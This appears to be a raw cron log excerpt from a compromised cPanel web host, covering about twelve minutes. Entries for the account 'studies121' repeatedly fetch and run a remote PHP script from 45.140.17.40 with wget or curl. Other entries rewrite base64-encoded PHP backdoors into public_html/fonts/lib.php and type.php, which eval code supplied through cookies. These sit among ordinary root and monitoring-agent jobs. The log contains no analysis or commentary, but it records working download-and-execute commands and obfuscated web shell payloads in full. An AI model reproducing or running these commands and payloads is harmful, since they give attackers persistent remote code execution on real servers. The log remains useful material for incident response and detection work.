Sep 12 06:42:02 ip-184-168-122-23 CROND[13121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:42:02 ip-184-168-122-23 CROND[13123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:43:01 ip-184-168-122-23 CROND[13236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:43:01 ip-184-168-122-23 CROND[13237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:43:01 ip-184-168-122-23 CROND[13235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:43:01 ip-184-168-122-23 CROND[13238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:44:01 ip-184-168-122-23 CROND[13380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:44:01 ip-184-168-122-23 CROND[13382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:44:01 ip-184-168-122-23 CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:44:01 ip-184-168-122-23 CROND[13384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:44:01 ip-184-168-122-23 CROND[13385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:45:01 ip-184-168-122-23 CROND[13514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:46:01 ip-184-168-122-23 CROND[13650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:46:01 ip-184-168-122-23 CROND[13652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:46:01 ip-184-168-122-23 CROND[13654]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 06:46:01 ip-184-168-122-23 CROND[13655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:46:01 ip-184-168-122-23 CROND[13656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:46:01 ip-184-168-122-23 CROND[13657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:46:01 ip-184-168-122-23 CROND[13658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:47:01 ip-184-168-122-23 CROND[13828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:47:01 ip-184-168-122-23 CROND[13829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:47:01 ip-184-168-122-23 CROND[13830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:47:01 ip-184-168-122-23 CROND[13832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:48:01 ip-184-168-122-23 CROND[13910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:48:01 ip-184-168-122-23 CROND[13911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:48:01 ip-184-168-122-23 CROND[13915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:48:01 ip-184-168-122-23 CROND[13914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:48:01 ip-184-168-122-23 CROND[13913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:49:01 ip-184-168-122-23 CROND[14005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:49:01 ip-184-168-122-23 CROND[14008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:49:02 ip-184-168-122-23 CROND[14009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:49:02 ip-184-168-122-23 CROND[14007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:50:01 ip-184-168-122-23 CROND[14113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:50:01 ip-184-168-122-23 CROND[14116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:50:01 ip-184-168-122-23 CROND[14119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:51:01 ip-184-168-122-23 CROND[14237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:51:01 ip-184-168-122-23 CROND[14238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:51:01 ip-184-168-122-23 CROND[14239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:51:01 ip-184-168-122-23 CROND[14241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:52:01 ip-184-168-122-23 CROND[14344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:52:01 ip-184-168-122-23 CROND[14346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:52:01 ip-184-168-122-23 CROND[14347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:52:01 ip-184-168-122-23 CROND[14348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:52:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:53:01 ip-184-168-122-23 CROND[14526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:53:01 ip-184-168-122-23 CROND[14528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:53:01 ip-184-168-122-23 CROND[14529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:53:01 ip-184-168-122-23 CROND[14530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:54:01 ip-184-168-122-23 CROND[14607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:54:01 ip-184-168-122-23 CROND[14608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:54:01 ip-184-168-122-23 CROND[14609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:54:01 ip-184-168-122-23 CROND[14612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
